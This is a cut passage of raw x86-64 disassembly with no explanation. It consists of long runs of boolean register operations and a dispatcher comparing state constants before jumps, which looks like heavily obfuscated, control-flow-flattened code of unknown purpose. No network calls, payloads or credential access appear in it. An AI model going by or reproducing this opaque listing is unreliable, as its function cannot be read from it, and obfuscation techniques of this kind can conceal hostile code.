mov eax, ecx
mov edx, ecx
xor edx, 0x97acbfd4
and edx, ecx
not ecx
and ecx, 0x168ca284
and eax, 0x81201d50
or eax, ecx
xor eax, 0x81201d50
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x6853402b
and edx, 0x97acbfd4
or edx, eax
sete r11b
setne r9b
cmp r8d, 9
setg sil
cmp r8d, 0xa
setl r10b
mov eax, r9d
xor al, r11b
mov ebx, eax
xor bl, 1
mov edx, eax
or dl, bl
mov byte [rbp - 0x48], dl
mov ecx, edx
xor cl, 1
mov byte [rbp - 0x41], cl
mov r8d, ebx
and r8b, cl
xor bl, cl
or bl, r8b
xor bl, 1
mov edx, ebx
xor dl, r11b
not dl
and dl, r11b
or bl, r11b
xor dl, 1
mov r8d, edx
xor r8b, bl
or dl, bl
xor dl, 1
or dl, r8b
xor r11b, al
and r11b, al
xor al, r9b
mov ebx, r11d
and bl, al
xor al, r11b
or al, bl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
or dl, al
mov ecx, eax
or cl, dl
xor cl, 1
xor dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r8d, edx
mov r12d, r10d
xor r12b, sil
mov r11d, esi
mov edx, r12d
xor dl, 1
mov esi, r12d
or sil, dl
mov r9d, esi
xor r9b, 1
mov r14d, edx
and r14b, r12b
mov eax, r14d
and al, dl
xor r14b, dl
or r14b, al
mov ebx, r14d
mov edi, r12d
mov byte [rbp - 0x3c], r10b
and dil, r10b
mov eax, r12d
xor al, r10b
or dil, al
mov byte [rbp - 0x35], dl
not al
and al, r12b
mov ecx, eax
xor al, dl
mov byte [rbp - 0x40], al
or dl, cl
mov byte [rbp - 0x3f], dl
xor cl, r14b
mov byte [rbp - 0x3e], cl
xor r14b, 1
and r14b, r9b
and bl, sil
or bl, r14b
mov eax, r12d
and al, sil
xor sil, r12b
or sil, al
mov eax, esi
xor al, bl
xor bl, 1
xor al, 1
or bl, sil
xor bl, 1
or bl, al
mov r13d, ebx
xor r13b, 1
mov ecx, ebx
and cl, r13b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
or r13b, bl
mov edx, r13d
xor dl, cl
or r13b, cl
xor r13b, 1
or r13b, dl
mov byte [rbp - 0x34], r8b
mov r14d, r8d
xor r14b, 1
mov r15d, r14d
and r15b, r8b
mov byte [rbp - 0x33], r15b
mov eax, r15d
xor al, 1
or al, r8b
xor al, 1
xor r15b, r14b
or al, r15b
xor al, 1
mov ecx, eax
and cl, r8b
mov edx, eax
xor al, r8b
or al, cl
xor dl, r14b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov byte [rbp - 0x49], al
mov eax, r13d
xor al, 1
mov ecx, r13d
and cl, al
mov r9d, ecx
xor r9b, 1
mov r10d, r13d
xor r10b, cl
or r9b, al
xor r9b, 1
or r9b, r10b
mov edx, r9d
xor dl, 1
or dl, r9b
mov esi, edx
xor sil, al
or dl, r13b
xor dl, 1
xor sil, 1
mov r8d, edx
and r8b, sil
xor sil, dl
or sil, r8b
mov edx, esi
xor dl, 1
mov r8d, edx
xor r8b, sil
mov r9d, esi
or r9b, dl
xor r9b, 1
or r9b, r8b
mov r8d, r11d
mov ebx, r11d
and r8b, r12b
mov r11b, byte [rbp - 0x35]
and r11b, byte [rbp - 0x3c]
or r11b, r8b
mov r8d, edi
xor r8b, r11b
xor r11b, 1
or r11b, dil
mov r12d, r11d
xor r12b, r8b
or r11b, r8b
xor r11b, 1
or r11b, r12b
mov edi, r11d
and cl, r13b
or cl, r10b
or al, r13b
mov r8d, r13d
xor r8b, al
or al, r13b
xor al, 1
or al, r8b
mov r8d, r9d
xor r8b, 1
mov r10d, r8d
xor r10b, r9b
and r10b, r8b
mov r12d, eax
xor r12b, r10b
and al, r12b
and r12b, r10b
mov r10d, eax
and r10b, r12b
xor r12b, al
or r12b, r10b
mov r13d, ecx
xor r13b, 1
mov r11d, r8d
and r11b, r13b
mov eax, r13d
xor r13b, r8b
and r8b, r9b
xor r8b, 1
mov r10d, r9d
xor r10b, r8b
or r8b, r9b
xor r8b, 1
or r8b, r10b
and al, cl
xor al, 1
mov r9d, ecx
xor r9b, al
or al, cl
xor al, 1
or al, r9b
mov ecx, r8d
xor cl, 1
and cl, al
xor al, 1
and al, r8b
or al, cl
or r13b, r11b
xor al, 1
mov ecx, eax
xor cl, r13b
or al, r13b
xor al, 1
or al, cl
xor al, 1
mov r9d, r12d
xor r9b, 1
mov r8d, eax
xor r8b, r9b
mov ecx, r9d
and cl, r12b
mov r10d, r9d
and r10b, cl
xor cl, r9b
or cl, r10b
xor cl, al
or al, r12b
xor r8b, 1
xor al, 1
or al, r8b
xor cl, 1
xor al, 1
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov ecx, eax
xor cl, 1
mov r8d, ecx
and r8b, dil
mov r9d, ecx
xor r9b, dil
or r9b, r8b
and cl, al
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
mov eax, edi
xor al, 1
and dil, cl
xor cl, 1
and cl, al
or cl, dil
xor cl, 1
or cl, al
mov eax, r9d
or al, cl
xor cl, r9b
xor al, 1
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov r8b, byte [rbp - 0x33]
mov byte [rbp - 0x3d], r14b
and r8b, r14b
or r8b, r15b
mov eax, r14d
or al, byte [rbp - 0x34]
mov r13d, eax
xor r13b, 1
and al, r13b
mov r9d, eax
and r9b, r13b
xor al, r13b
or al, r9b
xor al, r8b
mov r8d, r14d
xor r8b, r13b
or r13b, r14b
xor r13b, 1
or r13b, r8b
xor r13b, 1
mov r8d, eax
and r8b, r13b
xor r13b, al
mov r11d, ebx
or dl, bl
or r13b, r8b
mov eax, r13d
xor al, 1
mov ebx, r13d
xor bl, al
xor bl, 1
or bl, al
mov byte [rbp - 0x35], bl
mov ebx, r11d
and bl, al
mov byte [rbp - 0x42], bl
xor al, r11b
mov byte [rbp - 0x43], al
mov r10d, r11d
and r10b, sil
xor r11b, sil
or r11b, r10b
or sil, byte [rbp - 0x3c]
xor sil, 1
xor dl, 1
mov r10d, esi
and r10b, dl
xor dl, sil
or dl, r10b
mov r10d, edx
xor r10b, 1
mov eax, edx
and al, r10b
mov esi, eax
and sil, dl
xor al, dl
or al, sil
xor r10b, r11b
xor r11b, 1
xor al, r11b
or dl, r11b
xor dl, 1
or dl, r10b
xor dl, 1
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
mov eax, edx
xor al, 1
mov r10d, eax
and r10b, dl
mov r11d, eax
and r11b, r10b
xor r10b, al
or r10b, r11b
or al, dl
mov edx, r10d
xor dl, 1
mov r11d, eax
xor r11b, 1
and r11b, dl
or dl, al
and al, r10b
or al, r11b
xor dl, 1
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov r10d, eax
xor r10b, dl
or dl, al
xor dl, 1
or dl, r10b
mov eax, edx
xor al, 1
or dl, al
xor al, dl
xor al, 1
and al, dl
mov edx, ecx
xor dl, 1
mov r10d, edx
mov r11d, edx
xor dl, al
xor dl, 1
and dl, al
xor al, 1
and r10b, al
xor r11b, al
or r11b, r10b
xor al, cl
xor al, 1
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor r11b, 1
xor al, r11b
mov ecx, eax
xor cl, 1
and r11b, cl
mov r15d, r11d
xor r11b, al
xor r15b, 1
or r15b, cl
xor r15b, 1
or r15b, r11b
mov al, byte [rbp - 0x49]
mov r11d, eax
xor r11b, 1
mov ecx, r11d
and cl, al
mov ebx, eax
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
mov edi, ecx
xor dil, 1
mov esi, ecx
and sil, dil
mov edx, esi
and dl, cl
xor sil, cl
or sil, dl
mov r14b, byte [rbp - 0x48]
mov r8d, r14d
mov r12b, byte [rbp - 0x41]
and r8b, r12b
mov eax, r14d
and al, r8b
xor r14b, r8b
or al, r14b
mov r10d, eax
xor r10b, 1
mov r9d, eax
and r9b, r10b
mov edx, r9d
xor dl, 1
xor r9b, al
or dl, r10b
xor dl, 1
or dl, r9b
mov r9d, esi
xor r9b, 1
and r9b, dl
xor dl, 1
and dl, sil
or dl, r9b
xor r10b, dil
or al, cl
xor al, 1
or al, r10b
mov r9d, eax
xor r9b, dl
xor dl, 1
or dl, al
xor r9b, 1
xor dl, 1
or dl, r9b
or dil, cl
xor r11b, bl
and r11b, bl
xor r8b, 1
or r8b, r12b
xor r8b, 1
or r8b, r14b
mov r14d, r8d
xor r14b, 1
or r14b, r8b
mov eax, edi
xor al, 1
mov ebx, r11d
xor bl, 1
and r11b, dil
or dil, bl
and bl, al
or bl, r11b
xor dil, 1
mov eax, edi
and al, bl
xor bl, dil
or bl, al
xor r14b, 1
mov cl, byte [rbp - 0x48]
xor cl, r14b
and r14b, cl
mov eax, ecx
xor al, r14b
xor r14b, 1
or r14b, cl
xor al, 1
xor r14b, 1
or r14b, al
mov r8d, edx
xor r8b, 1
xor r14b, bl
mov eax, r8d
xor al, dl
or dl, r8b
mov r9d, edx
xor r9b, 1
mov r11d, edx
and r11b, r9b
mov r10d, edx
and r10b, r11b
xor r11b, dl
or r11b, r10b
and al, r8b
mov r10d, eax
xor r10b, 1
mov ebx, r10d
and bl, al
mov esi, r10d
and sil, bl
xor bl, r10b
or bl, sil
mov esi, r11d
xor sil, 1
and sil, bl
xor bl, 1
and bl, r11b
or bl, sil
xor r10b, dl
or al, r9b
xor al, 1
or al, r10b
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov eax, r14d
xor al, 1
mov r9d, r14d
xor r9b, al
mov ecx, r14d
and cl, al
xor cl, 1
mov r10d, eax
xor r10b, cl
or cl, al
or al, r14b
mov r11d, eax
xor r11b, 1
and r9b, r14b
mov edx, r9d
xor dl, 1
and r9b, al
or al, dl
and dl, r11b
or dl, r9b
xor al, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
xor bl, 1
mov eax, ebx
xor al, dl
xor al, 1
and al, dl
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor cl, 1
or cl, r10b
xor cl, r8b
mov eax, r8d
and al, r14b
xor r14b, r8b
or r14b, al
mov eax, r14d
xor al, cl
xor cl, 1
xor al, 1
or cl, r14b
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
xor al, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r8d, r15d
xor r8b, 1
mov eax, r8d
or al, r15b
xor al, r8b
mov edx, eax
xor dl, 1
and al, r8b
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
and dl, cl
mov r9d, edx
xor r9b, 1
mov ebx, ecx
xor bl, r9b
or r9b, cl
xor r9b, 1
or r9b, bl
mov r10d, eax
xor r10b, 1
mov ebx, r10d
and bl, al
xor bl, 1
mov r11d, ebx
xor r11b, al
or bl, al
xor bl, 1
or bl, r11b
mov r11d, ebx
xor bl, 1
and bl, r9b
or r10b, r9b
xor r9b, 1
and r11b, r9b
or bl, r11b
xor r9b, al
xor r10b, 1
or r10b, r9b
xor bl, 1
mov eax, ebx
xor al, r10b
or bl, r10b
xor bl, 1
or bl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r10d, edx
xor r10b, 1
and dl, r10b
xor dl, 1
mov ecx, edx
xor cl, r10b
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, 1
and dl, r8b
and cl, r15b
or dl, cl
mov r8d, r15d
and r8b, r10b
xor r10b, r15b
mov r9d, ebx
xor r9b, 1
or r10b, r8b
xor r10b, 1
mov r8d, edx
and r8b, r10b
xor r10b, dl
or r10b, r8b
mov edx, r9d
and dl, bl
mov r8d, r9d
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
mov eax, r9d
or al, bl
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
mov esi, r10d
xor sil, 1
mov edx, esi
or dl, r10b
mov r8d, esi
xor r8b, dl
mov r11d, r8d
xor r11b, 1
and dl, sil
or dl, r8b
xor r8b, dl
or dl, r11b
xor r8b, 1
xor dl, 1
or dl, r8b
xor al, 1
mov ecx, eax
xor cl, dl
xor cl, 1
and cl, dl
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
and r10b, r9b
or r9b, sil
xor r9b, 1
and sil, bl
or sil, r10b
mov eax, r9d
and al, sil
xor sil, r9b
or sil, al
mov eax, ecx
xor al, 1
mov r8d, ecx
and r8b, al
mov edx, r8d
and dl, cl
xor r8b, cl
or r8b, dl
mov edx, r8d
and r8b, sil
xor al, sil
xor sil, 1
xor dl, 1
and dl, sil
or r8b, dl
or sil, cl
xor sil, 1
or sil, al
mov eax, esi
xor al, r8b
xor r8b, 1
xor al, 1
or r8b, sil
xor r8b, 1
or r8b, al
mov r14b, byte [rbp - 0x35]
mov r10d, r14d
xor r10b, 1
mov dl, byte [rbp - 0x34]
mov ecx, edx
mov al, byte [rbp - 0x33]
and cl, al
xor al, dl
or al, cl
mov ecx, eax
mov dl, byte [rbp - 0x3d]
and cl, dl
xor al, dl
or al, cl
mov ecx, eax
mov edi, eax
xor cl, 1
mov al, byte [rbp - 0x3f]
xor al, 1
or al, byte [rbp - 0x40]
mov bl, byte [rbp - 0x3e]
mov r11d, ebx
xor r11b, 1
mov edx, ebx
and dl, r11b
xor dl, 1
mov r9d, edx
xor r9b, r11b
or dl, r11b
xor r11b, al
xor al, 1
xor dl, 1
or dl, r9b
xor dl, al
or bl, al
xor bl, 1
or bl, r11b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov esi, ebx
mov eax, r10d
mov edx, r14d
or al, r14b
xor al, 1
mov r11d, edi
xor r11b, cl
and r11b, dil
mov ebx, r10d
and bl, r14b
mov r9d, r10d
xor r9b, bl
xor bl, 1
or bl, r14b
xor bl, 1
or bl, r9b
xor bl, al
xor bl, 1
mov r9d, r14d
xor r9b, al
or al, r14b
xor al, 1
or al, r9b
xor al, 1
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov edx, r11d
xor dl, 1
and dl, r11b
mov ebx, edx
and bl, r11b
xor dl, r11b
or dl, bl
xor dl, al
mov eax, edx
xor al, 1
and dil, r10b
or r10b, cl
and cl, r14b
or cl, dil
xor cl, 1
mov ebx, r10d
xor bl, cl
or cl, r10b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, cl
mov r9d, eax
mov r10d, ecx
and r10b, bl
xor bl, cl
mov r11d, eax
and r11b, cl
xor cl, al
and al, dl
xor r9b, al
xor al, 1
or al, dl
xor al, 1
or al, r9b
or bl, r10b
xor bl, al
xor bl, 1
or cl, r11b
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov r11d, esi
xor r11b, 1
mov edx, r11d
and dl, sil
mov ebx, r11d
and bl, dl
xor dl, r11b
or dl, bl
or r11b, sil
mov ebx, edx
xor bl, r11b
or r11b, dl
xor r11b, 1
or r11b, bl
xor r11b, 1
mov edx, r11d
xor dl, cl
xor dl, 1
and dl, cl
or r11b, cl
xor r11b, 1
mov ecx, edx
and cl, r11b
xor r11b, dl
or r11b, cl
mov bl, byte [rbp - 0x43]
or bl, byte [rbp - 0x42]
xor bl, 1
mov ecx, r13d
mov al, byte [rbp - 0x3c]
xor cl, al
and r13b, cl
and cl, al
xor r13b, 1
xor cl, 1
mov edx, r13d
xor dl, cl
or cl, r13b
xor cl, 1
or cl, dl
xor cl, bl
mov edx, ecx
xor dl, 1
and bl, dl
mov eax, ebx
xor al, 1
xor bl, cl
or al, dl
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
mov esi, eax
and sil, r9b
mov edx, esi
xor dl, 1
mov r10d, eax
xor r10b, dl
mov ebx, eax
or bl, dl
xor bl, 1
or bl, r10b
mov r10d, ebx
xor r10b, 1
or r10b, bl
mov ecx, r10d
xor cl, 1
xor sil, al
or dl, r9b
xor dl, 1
or dl, sil
mov ebx, edx
and bl, r10b
xor dl, 1
and dl, cl
or dl, bl
xor r10b, r9b
or cl, al
xor cl, 1
or cl, r10b
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, r11d
or dl, al
xor dl, 1
xor al, r11b
or dl, al
xor dl, 1
or cl, r11b
xor cl, 1
and al, r11b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
mov ebx, edx
xor bl, 1
xor dl, al
or bl, cl
xor bl, 1
or bl, dl
mov r10d, ebx
xor r10b, 1
mov eax, ebx
or al, r10b
mov edx, eax
xor dl, 1
mov r9d, ebx
or r9b, al
and al, r10b
xor r10b, bl
or r10b, dl
and dl, bl
or al, dl
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r9d, eax
xor r9b, 1
mov ecx, r10d
xor cl, 1
and r10b, al
mov ebx, r9d
and bl, cl
or bl, r10b
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
xor al, 1
and al, cl
xor cl, r9b
and cl, r9b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, dl
xor dl, 1
and cl, dl
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, al
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
or al, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
mov r11d, r9d
and r11b, cl
mov eax, r11d
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov esi, eax
xor sil, 1
or sil, al
mov r10d, esi
xor r10b, 1
mov ebx, ecx
xor bl, r9b
and bl, cl
mov ecx, ebx
xor cl, 1
mov edx, r10d
and dl, sil
mov eax, ebx
and al, cl
mov edi, edx
and dil, r10b
xor dl, r10b
or dl, dil
mov r10d, eax
and r10b, bl
xor al, bl
or al, r10b
xor al, dl
mov edx, esi
and dl, cl
xor cl, sil
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r9d
and cl, r11b
xor r11b, r9b
or r11b, cl
xor r11b, al
mov edx, r11d
xor dl, 1
and dl, al
mov eax, edx
and al, r11b
xor dl, r11b
or dl, al
mov ecx, edx
xor cl, 1
mov edi, r8d
xor dil, 1
mov eax, edi
and al, r8b
mov ebx, edi
and bl, al
xor al, dil
or al, bl
mov r15d, eax
xor r15b, 1
or dil, r8b
xor dil, al
mov ebx, edi
and bl, al
xor dil, 1
mov r8d, ebx
and r8b, dil
xor dil, bl
or dil, r8b
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r14d, ecx
xor r14b, 1
mov r11d, ecx
or r11b, r14b
xor r11b, 1
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov esi, edi
xor sil, 1
mov edx, esi
and dl, dil
mov ebx, edx
and bl, sil
xor dl, sil
or dl, bl
mov r10d, edi
or r10b, sil
mov r9d, r10d
xor r9b, 1
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
mov ebx, edx
xor bl, 1
and dl, bl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov ebx, r15d
xor bl, al
or r15b, al
xor r15b, 1
or r15b, bl
mov eax, r15d
xor al, 1
mov r8d, r11d
xor r8b, 1
mov ebx, r11d
and bl, r8b
xor bl, 1
mov r12d, ebx
xor r12b, r11b
or bl, r11b
xor bl, 1
or bl, r12b
mov r12d, ecx
and r12b, r14b
xor r14b, cl
or r14b, r12b
mov ecx, edx
xor cl, 1
mov r12d, r15d
xor r12b, al
and r12b, r15b
and cl, dl
mov r15d, edx
and r15b, cl
xor cl, dl
or cl, r15b
mov r15d, eax
xor r15b, cl
mov r13d, ecx
and cl, r12b
xor r12b, 1
xor r13b, 1
and r13b, r12b
or cl, r13b
mov r12d, edx
and r12b, al
xor al, dl
or al, r12b
xor al, 1
mov edx, r15d
and dl, al
xor al, r15b
or al, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov r15d, ecx
xor r15b, dl
or dl, cl
xor dl, 1
or dl, r15b
mov r15d, edx
xor r15b, 1
and r15b, al
xor al, 1
and dl, al
or dl, r15b
mov r15d, ecx
xor r15b, al
or al, cl
xor al, 1
or al, r15b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
mov edx, ebx
xor dl, 1
or al, cl
mov ecx, edx
xor cl, r14b
xor cl, 1
or bl, cl
or r14b, dl
xor r14b, 1
and cl, dl
mov edx, r14d
and dl, cl
xor cl, r14b
mov r14d, ebx
xor r14b, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, bl
or bl, dl
xor bl, 1
and dl, r14b
or dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov r14d, eax
xor r14b, 1
mov ecx, r14d
and cl, al
mov ebx, r14d
and bl, cl
xor cl, r14b
or cl, bl
xor cl, 1
or r14b, al
mov ebx, r14d
xor bl, cl
mov eax, edx
xor al, 1
or r14b, cl
xor r14b, 1
mov ecx, r14d
and cl, bl
xor r14b, bl
or r14b, cl
mov ecx, edx
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r14d
xor cl, 1
and r14b, cl
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
xor r14b, al
mov ecx, esi
xor cl, dil
and cl, sil
mov eax, ecx
xor al, 1
mov edx, eax
xor al, r10b
and r10b, cl
and dl, r9b
or dl, r10b
mov r10d, r8d
xor r10b, r11b
and r10b, r8b
or cl, r9b
xor cl, 1
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov ebx, r10d
xor bl, 1
mov eax, ebx
and al, r10b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
or bl, r10b
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
xor bl, 1
mov eax, ebx
or al, cl
xor al, 1
xor bl, cl
xor bl, 1
and bl, cl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
and r8b, dil
or dil, r11b
and sil, r11b
xor dil, 1
or sil, r8b
mov eax, edi
and al, sil
xor sil, dil
or sil, al
xor bl, 1
mov eax, ebx
or al, sil
xor al, 1
xor bl, sil
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, dl
or dl, al
and al, cl
mov r8d, r14d
xor r8b, 1
xor dl, 1
or al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and dl, r14b
mov ecx, r8d
and cl, al
or cl, dl
mov r9d, ecx
xor r9b, r14b
and r9b, cl
xor r14b, al
xor r14b, 1
and r14b, al
xor al, r8b
and al, r8b
mov ecx, r14d
and cl, al
xor al, r14b
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor bl, 1
and bl, r9b
xor r9b, 1
and al, r9b
or bl, al
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov edx, ecx
xor dl, bl
test cl, 1
mov eax, 0xbeb1dcd1
mov ecx, 0xa4cc2aba
cmovne eax, ecx
test bl, 1
cmove eax, ecx
test dl, 1
mov ecx, 0xbeb1dcd1
jmp 0x14001aa58
cmp eax, 0xd510679b
jle 0x140012fbd
cmp eax, 0xd510679c
je 0x1400177c3
cmp eax, 0xd57cd87a
je 0x140019269
cmp eax, 0xe4213dbb
jne 0x140010e60
jmp 0x14000fa2a
cmp eax, 0x6856a8c0
je 0x140019285
cmp eax, 0x6aab939a
je 0x14001aa6b
cmp eax, 0x7ab0b62f
jne 0x140010e60
movzx r12d, byte [rbp - 0x32]
movzx r8d, byte [rbp - 0x31]
mov eax, r8d
xor al, 1
mov r11d, r8d
or r11b, al
mov r9d, eax
xor r9b, r11b
and r9b, al
mov r14d, r11d
xor r14b, 1
mov r10d, r14d
and r10b, r8b
mov edx, r11d
and dl, r14b
mov ebx, r11d
and bl, dl
xor dl, r11b
or dl, bl
mov esi, edx
and sil, al
mov r15d, eax
xor r15b, r14b
or r14b, al
and al, r11b
or al, r10b
mov ebx, r9d
xor bl, 1
xor r9b, al
xor al, 1
or al, bl
xor al, 1
or al, r9b
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov r9d, eax
xor r9b, cl
or cl, al
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, 1
mov r11d, r12d
xor r11b, 1
mov r9d, eax
xor r9b, r11b
mov ebx, ecx
and bl, al
or al, r11b
xor al, 1
or al, r9b
xor al, 1
mov r9d, ecx
and r9b, bl
xor bl, cl
or bl, r9b
xor bl, r11b
xor bl, 1
or bl, r11b
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r9d, ebx
xor r9b, 1
mov eax, r9d
and al, bl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, r11b
and al, r12b
or al, cl
mov ecx, r9d
xor cl, r11b
or r9b, r11b
xor r9b, 1
or r9b, cl
xor r9b, 1
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov edi, r9d
xor dil, 1
mov eax, r12d
or al, r11b
mov ecx, r12d
or cl, al
xor al, r11b
xor al, 1
xor cl, 1
or cl, al
xor cl, 1
mov ebx, ecx
xor bl, r8b
and cl, bl
and bl, r8b
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, r8b
or bl, r8b
xor bl, 1
or bl, al
mov r10d, ebx
xor r10b, 1
xor dl, 1
and dl, r8b
or dl, sil
xor r14b, 1
or r14b, r15b
mov eax, r14d
xor al, dl
xor dl, 1
xor al, 1
or dl, r14b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and r12b, r11b
mov ecx, r11d
and cl, r12b
xor r12b, r11b
or r12b, cl
mov ecx, r12d
xor cl, 1
and al, cl
and r12b, dl
or r12b, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ecx
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, cl
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, 1
and r12b, al
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
xor r12b, 1
mov eax, ebx
and al, r12b
xor bl, r12b
or bl, al
xor bl, 1
mov eax, r12d
or al, r10b
xor al, 1
xor r12b, r10b
xor r12b, 1
and r12b, r10b
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
xor r12b, bl
mov eax, r12d
xor al, 1
and bl, al
mov r13d, ebx
xor r13b, 1
xor bl, r12b
or r13b, al
xor r13b, 1
or r13b, bl
mov r11d, edi
or r11b, r9b
mov eax, edi
or al, r11b
xor al, 1
xor r11b, dil
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov r12d, r13d
xor r12b, 1
mov r10d, r13d
and r10b, r12b
mov eax, r10d
and al, r12b
xor r10b, r12b
or r10b, al
mov ebx, r11d
xor bl, 1
mov eax, r9d
and al, dil
xor dil, r9b
or dil, al
mov r15d, ebx
xor r15b, dil
xor dil, 1
mov r9d, r10d
xor r9b, 1
mov esi, r10d
and sil, r9b
mov edx, esi
and dl, r9b
xor r9b, sil
or dl, r9b
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
